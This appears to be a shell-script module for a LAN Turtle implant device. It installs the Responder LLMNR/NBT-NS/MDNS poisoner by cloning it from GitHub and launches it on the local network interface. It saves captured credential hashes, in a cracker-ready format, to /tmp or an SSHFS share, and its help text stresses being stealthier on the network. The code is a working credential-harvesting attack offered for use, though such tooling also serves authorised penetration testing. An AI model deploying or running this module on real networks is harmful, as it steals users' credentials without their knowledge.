lanturtle-modules/modules/responder

#!/bin/bash /usr/lib/turtle/turtle_module
VERSION="1.0"
DESCRIPTION="Responder - LLMNR, NBT-NS and MDNS poisoner"
CONF=/tmp/responder.form
AUTHOR=IMcPwn

: ${DIALOG_OK=0}
: ${DIALOG_CANCEL=1}
: ${DIALOG_HELP=2}
: ${DIALOG_EXTRA=3}
: ${DIALOG_ESC=255}

function start {
  if [ -s /etc/config/responder ];
  then
    if [[ ! $(opkg list-installed | grep git) ]]; then
      opkg update && opkg install git
    fi
  
    if [[ ! $(opkg list-installed | grep python-sqlite3) ]]; then
      opkg update && opkg install python-sqlite3
    fi

    if [[ ! -d /etc/turtle/Responder || ! -s /etc/turtle/Responder/Responder.py ]]; then
        rm -r /etc/turtle/Responder
        git clone git://github.com/SpiderLabs/Responder /etc/turtle/Responder
    fi
    
    responder_log=$(uci get responder.log)
    case $responder_log in
      sshfs)
        if pgrep sshfs > /dev/null; then 
          if [ -s /etc/turtle/Responder/Responder.db ]; then
            rm -r /etc/turtle/Responder/Responder.db
          fi
          if [[ $(readlink /etc/turtle/Responder/logs) != "/sshfs/Responder/logs" || ! -d /sshfs/Responder/logs ]]; then
            rm -r /etc/turtle/Responder/logs
            mkdir -p /sshfs/Responder/logs
            ln -s /sshfs/Responder/logs /etc/turtle/Responder/logs
          fi
          echo "python /etc/turtle/Responder/Responder.py -I br-lan" | at now
          echo "Responder started and logs are being saved to /sshfs/Responder/logs"
        else 
          echo "SSHFS not running"
        fi
        ;;
      tmp)
        if [ -s /etc/turtle/Responder/Responder.db ]; then
          rm -r /etc/turtle/Responder/Responder.db
        fi
        if [[ $(readlink /etc/turtle/Responder/logs) != "/tmp/Responder/logs" || ! -d /tmp/Responder/logs ]]; then
          rm -r /etc/turtle/Responder/logs
          mkdir -p /tmp/Responder/logs
          ln -s /tmp/Responder/logs /etc/turtle/Responder/logs
        fi
          echo "python /etc/turtle/Responder/Responder.py -I br-lan" | at now
          echo "Responder started and logs are being saved to /tmp/Responder/logs"
        ;;
    esac
  else
    echo "Responder not configured."
  fi
}

function stop {
  kill $(ps | grep -w [/]etc/turtle/Responder/Responder.py | awk {'print $1'})
}

function status {
  if ps | grep -w -q [/]etc/turtle/Responder/Responder.py; then echo "1"; else echo "0"; fi
}

function configure {
  if [ -s /etc/config/responder ];
  then
    responder_log=$(uci get responder.log)
  else
    touch /etc/config/responder
  fi

  dialog --ok-label "Submit" \
    --help-button \
    --title "Responder Configuration" \
    --radiolist "\n\
Responder will listen on a variety of ports to gather credentials. See Help for more information.\n\nNote: the first time you run this module it may take a long time to load because of dependencies.\n\nThe log files can be saved to SSHFS or tmp.\n" 16 60 3\
    1 "Save log to SSHFS if available." off\
    2 "Save log to /tmp/" off\
  2>$CONF

  return=$?

  case $return in
    $DIALOG_OK)
      LOG=$(cat $CONF)
      case $LOG in
        1)
          uci set responder.log="sshfs"
          uci commit responder
          ;;
        2)
          uci set responder.log="tmp"
          uci commit responder
          ;;
      esac
    ;;
    $DIALOG_CANCEL)
      rm $CONF
      clear
      exit;;
    $DIALOG_HELP)
      dialog --title "Help" \
        --msgbox "\
Responder is an LLMNR, NBT-NS and MDNS poisoner. It will answer to specific NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409).\n\
By default, the tool will only answer to File Server Service request, which is for SMB.\n\n\
The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior.\n\n\
All activity will be logged to Responder-Session.log\n\
Analyze mode will be logged to Analyze-Session.log\n\
Poisoning will be logged to Poisoners-Session.log\n\n\
All hashes are dumped an unique file John Jumbo compliant, using this format:\n\
(MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt\n\n\
For even more information, see: https://github.com/SpiderLabs/Responder\n\
" 25 60
      configure
      ;;
    $DIALOG_ESC)
      clear;;
  esac
}